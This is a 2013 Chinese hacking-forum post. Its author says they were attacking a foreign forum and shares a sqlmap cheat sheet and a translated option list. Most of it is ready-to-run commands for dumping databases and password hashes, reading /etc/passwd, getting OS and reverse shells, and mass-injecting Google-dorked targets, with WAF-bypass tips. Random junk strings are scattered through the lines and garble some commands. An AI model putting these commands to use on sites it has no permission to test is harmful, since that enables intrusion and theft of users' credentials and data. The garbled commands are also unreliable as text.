找回密码
 立即注册
查看: 3497|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、- U9 |% ?8 U( X! H9 ?4 {) c
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称2 m" k! A% Z2 D+ F2 K9 ]# F: {
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
1 Y9 j' N, T4 B  R4 gsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段2 t5 V# m- A4 w5 W
% Q6 D( b# E1 w( h1 W" r, x0 f- c% j3 t8 H. ?
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v8 P; i' x' q( H0 I
0 #获取字段内容
  o# ]; W+ s6 I' c4 z) Q" f
, ^. `( ^& r& |+ ?  ?3 h5 m******************信息获取******************  A# j6 f, B0 ]. X! ~
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
9 |2 `5 ?+ n( i! y/ vsqlmap -u “http://url/news?id=1″ –users #列数据库用户
  C* z. Y& E, Z( n4 \# N( c+ g, ]sqlmap -u “http://url/news?id=1″ –dbs#列数据库
& X6 u7 G0 H7 g7 H# o" x' ~* H# x; Dsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
) R% L0 z: C  T  bsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码, N$ [' n* b) v$ |- J6 Z- K
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”! ~7 M& N) ?9 `  X5 O, g' j
–start 1 –stop 20 #列出指定字段,列出20 条( @, f! M/ K8 j# W+ T
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
8 {' J+ {9 S) W7 b2 _0 csqlmap -u “http://url/news?id=1″ –privileges #查看权限( V* _" }; J) m  y, y- l2 g
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
7 R+ a! K$ S- O/ f# b7 Ysqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)& o" C2 E- z  B: T
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表0 X5 E6 _" b- ?; e0 X1 A/ r
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录. }# B$ b) n1 Z6 U- ]5 A- {" A
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
4 }+ k- C) L1 G, N% i0 xsqlmap -u “http://url/news?id=1″-b #获取banner信息
7 F' L0 y5 p; M( _2 K( P$ S/ ksqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
( f' j6 R; t" @& Wsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
# l% N" t. y2 F% u- z5 Z+ H$ Bsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入3 p  F1 Z) m  j" J: `; v
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词9 |: j' |3 p0 o2 Q4 t) k
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
( H+ ?7 X* I/ ^9 F- ?& s9 |. rsqlmap -u “http://url/news?id=1″ –file /etc/passwd
6 {* o  J* z0 Q& \" Lsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
7 A8 c# T* D6 Wsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell( \+ T9 `5 f- P6 m9 I
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表+ }+ H$ P' C) M; X: ~6 P3 _! O
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
5 }5 o/ N1 L" S' j/ Z7 rsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
+ p2 \1 @7 \0 K! [/ d***********高级用法*************
( i. {  g% l5 }# A" g-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
5 V, e  H) v/ Q9 p$ R" z9 l! c' Xsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
# m$ y( F( m3 Q, j3 _–technique   测试指定注入类型\使用的技术
$ z$ U  C! @) u1 d2 D不加参数默认测试所有注入技术
2 `# [, Q5 G1 {2 F" B•     B: 基于布尔的SQL 盲注
* U, k! \  ^, w4 I& ?! y8 L•     E: 基于显错sql 注入& I9 C& a/ y% ~$ @
•     U: 基于UNION 注入
2 T/ n3 ^2 e& }, L•     S: 叠层sql 注入
7 k& C- f1 c. Q5 U3 I* s•     T: 基于时间盲注; v6 L& n; L9 [5 I
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
# d! t; L8 ]0 \& f) O: h* z# G" L–tamper 插件所在目录* S: _0 c" j% V: W/ B$ p
\sqlmap-dev\tamper
* P, s7 o% V- V( }sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
- m, z+ o1 E- v" j+ xlevel 执行测试等级 攻击实例:+ H  ~" [, g5 Q- e2 Q. ~/ @
Sqlmap -u “http://url/news?id=1&Submit=Submit”: T3 F( B& j  W# l) h
–cookie=”PHPSESSID=41aa833e6d0d
# S! e. L6 Q8 n% s" J28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user7 x$ Q2 R" M4 j! u& m/ t) V
–password9 O+ Q* \: B0 J+ v* E  @
参考文档:http://sqlmap.sourceforge.net/doc/README.html
2 S* l, L* t+ G0 r9 [/ b***********安装最新版本*************
- K4 X7 q  n! R; ]% G/ xubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版8 E+ R( i4 @" }$ P$ I. s+ P
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 ?# ?1 `, @* T2 J# y9 e; M
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件2 w2 I8 n2 F% v% ~0 l; G! M" V0 n
sudo vim /home/当前用户/.bashrc
% S& T2 ^4 b+ A#任意位置加上:0 \8 w7 |* y3 d" F: p! ]
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
; y* [+ R; [' [# M) _2 ]5 b如果想对所有用户有效 可设置全局 编辑下面的文件
( d! _% Z$ I, I# Pvim /etc/profile
- k5 ^1 r, a5 [% N2 Q; ^, O同样加上:
0 t* b9 A; I4 ?2 falias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
( R( r6 Y6 C) B1 l; |******************windows 7 (x64) sqlmap install (SVN)************; r  _) P3 h' ]% c+ o
http://www.python.org/getit/ 安装python
7 K( V/ [# U2 u" V  v* R. S0 Nhttp://www.sliksvn.com/en/download 安装windows svn client1 P& N- l! P9 W  I. P) `
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev- b; i- \: }; N( E" `4 z* M0 z
安装sqlmap
. c9 Q* _0 u7 W; N7 F*修改环境变量
& n7 o1 M5 Y+ Z8 a0 ]–version             显示程序的版本号并退出$ x+ j) W9 P, z
-h, –help            显示此帮助消息并退出9 p7 P6 S2 \) G5 u9 a1 [
-v VERBOSE            详细级别:0-6(默认为1)5 n6 M" h% o% ]2 Y$ M" x; _
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。* C' ?( @( v; [9 s0 Y
-d DIRECT           直接连接到数据库。
! b. ^$ w2 J. b-u URL, –url=URL   目标URL。7 i7 f$ m# [. W9 k) n) W( O. N
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。$ W+ u5 ^, o- ?4 @' \$ h# [
-r REQUESTFILE      从一个文件中载入HTTP 请求。
6 P# \$ ?/ J# M' J-g GOOGLEDORK       处理Google dork 的结果作为目标URL。) L7 l5 ]) a: g
-c CONFIGFILE       从INI 配置文件中加载选项。
2 [0 c. t( w, b. t3 Z7 ZRequest(请求)::
6 R: k$ ^- ?3 {5 J- D) w; L这些选项可以用来指定如何连接到目标URL。, r9 Z. ]9 \8 z/ y* l0 G  z
–data=DATA         通过POST 发送的数据字符串/ x3 X1 M, v. \& a6 y
–cookie=COOKIE     HTTP Cookie 头
5 [+ f; w" ]# h( [4 H2 [0 F) i–cookie-urlencode  URL 编码生成的cookie 注入) {- S+ [" Q2 F
–drop-set-cookie   忽略响应的Set –Cookie 头信息
2 b- k9 D9 b; x3 ~4 ^/ G
* @! ?, c5 M& j9 {–user-agent=AGENT  指定  HTTP User –Agent 头5 m5 Y( f# F6 {# w
–random-agent      使用随机选定的HTTP User –Agent 头
, k0 j( R% ~# a7 \# ~–referer=REFERER   指定  HTTP Referer 头
5 x+ M- H6 r6 D/ D' H–headers=HEADERS   换行分开,加入其他的HTTP 头
  j4 `( W* m$ J) s–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
' c4 D/ O; F, k/ x. a- L–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
6 Y4 s8 l2 e" [, c5 n) k–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)4 v& P5 ~3 G( w- O7 K' z( n
–proxy=PROXY       使用HTTP 代理连接到目标URL% ?& d* \& o3 Z( d6 W3 W% n
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)9 A; K  `0 z) A1 y6 w, U" W
–ignore-proxy      忽略系统默认的HTTP 代理
/ ~3 L" g- x, Y. c–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒" h# _' C) L% L
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
: F8 L2 n  X6 k6 n. o–retries=RETRIES   连接超时后重新连接的时间(默认3)1 u, g' Q# F+ W" s) Z* A
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
/ {9 {) V. m6 G/ K2 K% |–safe-url=SAFURL   在测试过程中经常访问的url 地址
; s5 c) e( R8 m' G–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
/ {' U0 m! u, W& c! y+ r5 MOptimization(优化): 这些选项可用于优化SqlMap 的性能。4 S) E' Z1 q( Y
-o                  开启所有优化开关
4 D* G& Q3 `1 y* [1 C0 s–predict-output    预测常见的查询输出$ W9 j, E! a( e+ v
–keep-alive        使用持久的HTTP(S)连接
  j( B. a& R1 f3 b- r! r0 {–null-connection   从没有实际的HTTP 响应体中检索页面长度$ Z6 S1 p/ W& W5 {/ _
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
3 X) G. L- K5 ^* ~2 U; {1 M6 C; u* vInjection(注入):6 d+ L) i2 |2 u2 D* U! h. `/ d
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
- e+ j( W: @; ]- }-p TESTPARAMETER    可测试的参数(S)
+ O6 e. u2 K. m/ Y8 X/ T! b% V* m# D–dbms=DBMS         强制后端的DBMS 为此值! I! s2 E3 j  C+ B
–os=OS             强制后端的DBMS 操作系统为这个值/ L; u# t% g1 g  L% X. p
–prefix=PREFIX     注入payload 字符串前缀. o! N+ Y" Q# [3 ~
–suffix=SUFFIX     注入 payload 字符串后缀7 Q3 o4 d7 l: I$ E/ S9 h5 M- Q! x( O9 E
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据& t$ ~, r1 t% \7 U, e: C9 u
Detection(检测):
+ V8 y! Y9 j2 u6 G9 b+ |! k, I4 ?这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
# x7 F7 T0 g9 Y1 d–level=LEVEL       执行测试的等级(1-5,默认为1)
5 h" D- |# Z) L" [3 H–risk=RISK         执行测试的风险(0-3,默认为1)0 M1 Y/ r$ Z5 l
–string=STRING     查询时有效时在页面匹配字符串8 G4 b2 _7 |% U' P. c. U' z- q
–regexp=REGEXP     查询时有效时在页面匹配正则表达式3 ~! I2 K/ Z7 r2 n. \2 _' u! N
–text-only         仅基于在文本内容比较网页
) l- [: y" E7 xTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。3 [, R, v7 i: h% @- ~1 x
–technique=TECH    SQL 注入技术测试(默认BEUST)1 T6 ?, ]' C5 T! B1 _9 M. s* _' C
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)! W# f: `+ {0 t% l5 }# ]
–union-cols=UCOLS  定列范围用于测试UNION 查询注入" Q+ ^4 S0 E5 k: l
–union-char=UCHAR  用于暴力猜解列数的字符
  `" b7 @, c% l1 _6 t% Y' QFingerprint(指纹):; P: ~  ~9 A4 ]" `5 h  U
-f, –fingerprint     执行检查广泛的DBMS 版本指纹: X, y. ~% }- @% \
Enumeration(枚举):
- g  ~  e8 U# V, {2 F# N5 I
" `5 k; l* R% @8 `  ]这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
5 s. |5 H% ~! ^- S-b, –banner        检索数据库管理系统的标识/ i% g& {1 P6 Y+ \+ K
–current-user      检索数据库管理系统当前用户$ t0 o! Y+ A) f4 v" k7 D
–current-db        检索数据库管理系统当前数据库
" D; B( Z4 v- ~4 W) n0 k–is-dba            检测DBMS 当前用户是否DBA
& C* F' F( ]3 {6 ~7 j1 Y$ y& d–users             枚举数据库管理系统用户
% G; @/ k  M# }$ U  U7 C+ n–passwords         枚举数据库管理系统用户密码哈希
/ F) H& B: s& p, v+ R% W–privileges        枚举数据库管理系统用户的权限2 w0 A' I  G( K7 [" d: l- F1 M
–roles             枚举数据库管理系统用户的角色
% D5 M  j5 F" b2 p3 z6 {; ^& G! i2 W–dbs               枚举数据库管理系统数据库
+ [% j! Y* d5 H7 n* _1 B–tables            枚举的DBMS 数据库中的表$ b2 `% r. ]3 [3 Y( J/ z& F- a
–columns           枚举DBMS 数据库表列) B3 E6 Q# m* H% t- p1 b$ R  _0 ]
–dump              转储数据库管理系统的数据库中的表项
! Z/ |% T" P5 t* _. f* o–dump-all          转储所有的DBMS 数据库表中的条目
0 j' r- x0 C, P  G1 v/ K–search            搜索列(S),表(S)和/或数据库名称(S)
3 K  M0 [- k6 \-D DB               要进行枚举的数据库名4 N! v0 ?) `1 B% S
-T TBL              要进行枚举的数据库表
! e& h* P7 g7 H* a: G) Z! A-C COL              要进行枚举的数据库列# M2 L3 e+ D. n- j; k" F! r4 Y
-U USER             用来进行枚举的数据库用户
4 F3 {; t% `/ d6 A' Q–exclude-sysdbs    枚举表时排除系统数据库% ~; f6 N% E% p0 ~
–start=LIMITSTART  第一个查询输出进入检索
) H' r( ?4 L# X  o0 {–stop=LIMITSTOP    最后查询的输出进入检索! V5 S( F1 V8 |  l! @3 \3 h
–first=FIRSTCHAR   第一个查询输出字的字符检索: j% y$ D- g8 c& r8 W6 |" S; h: o4 z
–last=LASTCHAR     最后查询的输出字字符检索, s- u% N1 p% S- k1 a7 s" H7 N
–sql-query=QUERY   要执行的SQL 语句. l2 P7 r5 T% ]0 q% U  E  C# d% s, s
–sql-shell         提示交互式SQL 的shell
3 ?% e: @, I7 |- d( Y1 u; K3 \Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
+ l6 c0 V- ~% v–common-tables     检查存在共同表( g) E- _1 f' u& N
–common-columns    检查存在共同列
! l* E: A. e* j' `7 wUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
1 o1 m* f! ~. g$ L  c8 h* h0 i) U–udf-inject        注入用户自定义函数
% w2 a' c* c- i' x! L8 E: }–shared-lib=SHLIB  共享库的本地路径, ^" s/ j4 I+ p0 [$ M* A' ^3 g1 H
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。8 n* S! Z2 v% \( }' g
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件7 V- t" F9 G0 ~4 w: H$ V% w
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
: t: Z* `! g4 z8 E% f–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径9 |! B8 d$ M4 Y
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。0 \  Q* z: S/ h, ^( K
–os-cmd=OSCMD      执行操作系统命令
: P# q) V3 |7 Q* w–os-shell          交互式的操作系统的shell! l, ?: A  }% F% r, w- W4 n: A
–os-pwn            获取一个OOB shell,meterpreter 或VNC' ?7 [& K* F2 I% U! a
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
- {0 D6 Q* U$ k9 d7 z. I–os-bof            存储过程缓冲区溢出利用
( ?/ l0 c; N; m9 ]3 q$ r* a–priv-esc          数据库进程用户权限提升' |  i3 h' R0 U* S% G2 c
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
/ N& W/ Z0 x- D. N' r3 e3 u–tmp-path=TMPPATH  远程临时文件目录的绝对路径
) `0 c' P' l8 e) {, C
% b: J/ G/ ]4 x" _; G- ?Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
, p, d) T: i2 h3 O: \–reg-read          读一个Windows 注册表项值7 S4 w% |& L2 v) d3 }& L6 F
–reg-add           写一个Windows 注册表项值数据6 V3 B4 z* N- p
–reg-del           删除Windows 注册表键值9 n8 f! ~; `0 ?3 O" p6 X7 f8 O
–reg-key=REGKEY    Windows 注册表键
: i' j" F! P3 g; }3 G" d! ^–reg-value=REGVAL  Windows 注册表项值$ M4 Z  _0 c- b2 d0 j9 ^/ e
–reg-data=REGDATA  Windows 注册表键值数据
2 R0 d7 [5 }/ a( f2 K$ v–reg-type=REGTYPE  Windows 注册表项值类型
4 D- Y% w3 W7 B' HGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
3 ^# m% h7 [0 \1 ^+ v( y: C-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中% n6 x1 b7 [: x
-s SESSIONFILE      保存和恢复检索会话文件的所有数据) M& z, e- z" Z
–flush-session     刷新当前目标的会话文件
4 t  Y+ M' d. k( f$ @- y–fresh-queries     忽略在会话文件中存储的查询结果
# Q9 Q) H( @; N–eta               显示每个输出的预计到达时间( W  Y. |) J5 p1 a) a$ u
–update            更新SqlMap' O3 ~+ N2 Y, Y# s/ c) x8 [. f
–save              file 保存选项到INI 配置文件) n1 x) M! b0 g. |3 z. H. q" N
–batch             从不询问用户输入,使用所有默认配置。
; W2 n7 T, k# M& |/ Y5 Q' h) AMiscellaneous(杂项):  L. V6 C4 O! n+ {. O6 F
–beep              发现SQL 注入时提醒
) ]( O& y# O' k+ E+ S7 q3 k–check-payload     IDS 对注入payloads 的检测测试
. i0 k- a3 f- \- j4 C* O–cleanup           SqlMap 具体的UDF 和表清理DBMS
1 w9 n& B: B0 g6 K! ^. d–forms             对目标URL 的解析和测试形式) ^$ {- d( h* Z' `
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
* G8 X2 M) y0 L4 V–page-rank         Google dork 结果显示网页排名(PR)
2 ^8 Y  G) I8 c) G8 o8 ^–parse-errors      从响应页面解析数据库管理系统的错误消息
8 |/ k3 d' W" x& d9 y–replicate         复制转储的数据到一个sqlite3 数据库: ~3 V$ @  X5 n
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
, m8 A2 t- x& B' k: `/ ^–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表